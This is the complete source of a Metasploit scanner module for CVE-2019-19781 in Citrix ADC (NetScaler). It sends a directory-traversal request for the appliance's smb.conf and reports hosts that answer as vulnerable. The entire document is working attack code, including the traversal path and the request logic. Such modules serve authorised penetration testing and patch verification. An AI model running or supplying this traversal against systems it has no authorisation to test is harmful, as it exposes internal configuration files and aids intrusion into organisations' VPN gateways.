Citrix ADC (NetScaler) Directory Traversal Scanner

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Citrix ADC (NetScaler) Directory Traversal Scanner',  
'Description' => %{  
This module exploits a directory traversal vulnerability (CVE-2019-19781) within Citrix ADC  
(NetScaler). It requests the smb.conf file located in the /vpns/cfg directory by issuing the request  
/vpn/../vpns/cfg/smb.conf. It then checks if the server is vulnerable by looking for the presence of  
a "[global]" directive in smb.conf, which this file should always contain.  
},  
'Author' => [  
'Mikhail Klyuchnikov', # Discovery  
'Erik Wynter', # Module (@wyntererik)  
'altonjx' # Module (@altonjx)  
],  
'References' => [  
['CVE', '2019-19781'],  
['URL', 'https://web.archive.org/web/20200111095223/https://support.citrix.com/article/CTX267027/'],  
['URL', 'https://swarm.ptsecurity.com/remote-code-execution-in-citrix-adc/']  
],  
'DisclosureDate' => '2019-12-17',  
'License' => MSF_LICENSE,  
'Notes' => {  
'AKA' => ['Shitrix']  
}  
))  
  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/']),  
OptString.new('PATH', [true, 'Traversal path', '/vpn/../vpns/cfg/smb.conf'])  
])  
end  
  
def run_host(target_host)  
turi = normalize_uri(target_uri.path, datastore['PATH'])  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => turi  
)  
  
unless res  
print_error("#{full_uri(turi)} - No response, target seems down.")  
  
return Exploit::CheckCode::Unknown  
end  
  
unless res.code == 200  
print_error("#{full_uri(turi)} - The target is not vulnerable to CVE-2019-19781.")  
vprint_error("Obtained HTTP response code #{res.code} for #{full_uri(turi)}.")  
  
return Exploit::CheckCode::Safe  
end  
  
if turi.end_with?('smb.conf')  
unless res.headers['Content-Type'].starts_with?('text/plain') && res.body.match(/\[\s*global\s*\]/)  
vprint_warning("#{turi} does not contain \"[global]\" directive.")  
end  
end  
  
print_good("#{full_uri(turi)} - The target is vulnerable to CVE-2019-19781.")  
msg = "Obtained HTTP response code #{res.code} for #{full_uri(turi)}. " \  
"This means that access to #{turi} was obtained via directory traversal."  
vprint_good(msg)  
  
report_vuln(  
host: target_host,  
name: name,  
refs: references,  
info: msg  
)  
  
Exploit::CheckCode::Vulnerable  
end  
  
end  
`